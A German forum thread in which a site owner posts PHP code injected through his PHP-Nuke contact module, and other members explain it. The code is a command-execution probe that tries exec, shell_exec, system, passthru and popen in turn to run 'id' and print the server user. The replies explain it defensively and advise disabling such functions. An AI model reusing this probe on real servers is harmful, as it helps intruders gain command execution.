marcez
Mitglied
Registriert: 05.01.2008
Beiträge: 2
|
|
Den nachfolgenden PHP-Code habe ich soeben entdeckt und diesen hat jemand mit meinem Kontaktmodul eingespielt:
<?php
echo "Mic22"; $cmd="id"; $eseguicmd=ex($cmd); echo $eseguicmd; function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); }} return $res; } exit; ?>
Kann mir bitte jemand sagen welche Abfragen & Fuktionen dahinter stecken? Unterdessen werd ich mich mal bezüglich in php einarbeiten! danke im voraus!
|
|
| 05.01.2008 12:34:39 |
|
HTMELL
Administrator
Registriert: 11.05.2006
Beiträge: 544
|
|
Hi, zumindest die Funktionen 'exec', 'system' und 'passthru' sind SEHR gefährlich da damit Systemaufrufe durchgeführt werden. Wenn dieser Code ausgeführt wird, dann könnte jemand großen Schaden anrichten (je nachdem wie PHP und das System konfiguriert ist)
_______________________________________ mfg Thomas Mell
www.validome.org
|
|
| 05.01.2008 15:17:04 |
|
Chiaki
Mitglied
Ort: Confoederatio Helvetica
Registriert: 23.12.2007
Beiträge: 97
|
|
Hallo marcez,
der angegebene PHP-Code initialisiert eine Benutzer-Funktion mit dem Namen "ex" und einem einzelnen obligatorischen Parameter mit dem funktionsinternen Variablen-Namen "cfe".
Diese Funktion fragt nacheinander diverse Systembefehle ab, die (bei Verfügbarkeit und erlaubtem Zugriff) alle den selben Zweck erfüllen: Sie führen auf Ebene des Betriebssystems den Befehl "id" aus, der unter UNIX die User-ID, den User-Namen, die Gruppen-ID und den Gruppen-Namen des Benutzers zurückgibt, unter der der PHP-Prozess läuft (in der Regel "wwwrun", "nouser" etc. -- ungünstigerweise aber auch "root"), z.B. in der Form "uid=12345(wwwrun) gid=12(users)".
Anm.: Ab der Zeile "elseif(@is_resource(..." sind das natürlich keine Systembefehle mehr, und der unter Umständen zu erwartende Wert ist nicht mit der Rückgabe von "id" vergleichbar. Wenn man es genau nehmen will :-]
Die gewonnene Information wird in einer funktionsinternen Variablen mit dem Namen "res" (wohl für "Result") gespeichert und am Ende der Funktion als Rückgabewert ausgegeben. Führt keiner der Befehle zum Erfolg, wird eine leere Zeichenkette zurückgegeben, die zu Beginn mit "$res = '';" initialisiert wurde.
Der Funktionsaufruf "$eseguicmd=ex($cmd);" speichert demnach die aktuellen Informationen über den Server-Prozess, mit "echo $eseguicmd;" wird dieser Wert dann einfach nur an den Client ausgegeben.
Das anfängliche 'echo "Mic22";' ist ohne Bedeutung, da könnte auch 'echo "Hallo Welt";' stehen.
In jedem Fall sollte solcher Code NIE auf offenen Produktionsservern laufen, insbesondere wo Ausgaben an den Client vorgesehen sind. Zudem gibt es in PHP die Möglichkeit, (System-)Befehle wie "exec", "shell_exec" etc. zu deaktivieren, oder den kompletten PHP-Prozess im restriktiven "Safe Mode" laufen zu lassen, der diese Befehle meines Wissens nach generell deaktiviert.
_______________________________________ Make sure You've read RFC 1855, before sending electronic mail, start Chats, posting on Newsgroups or leave any Comments. RFC 1855: Netiquette Guidelines <http://www.rfc1855.net/>
|
|
| 07.01.2008 21:21:19 |
|
marcez
Mitglied
Registriert: 05.01.2008
Beiträge: 2
|
|
hi Chiaki, klasse, hab recht herzlichen Dank! das nenn ich mal eine klare antwort!
Auch @HTMELL danke ich sehr für die antwort!
so wie ich das sehe hatte die einspielung des scripts keinerlei folgen... benutze PHP-Nuke mit dem NukeStyles_Contact_Plus_22b+3 Modul.
Beitrag geändert von marcez (07.01.2008 23:52:37)
|
|
| 07.01.2008 23:52:07 |
|
Wechsel zu
Die letzten Beiträge aus diesen Forum
|
|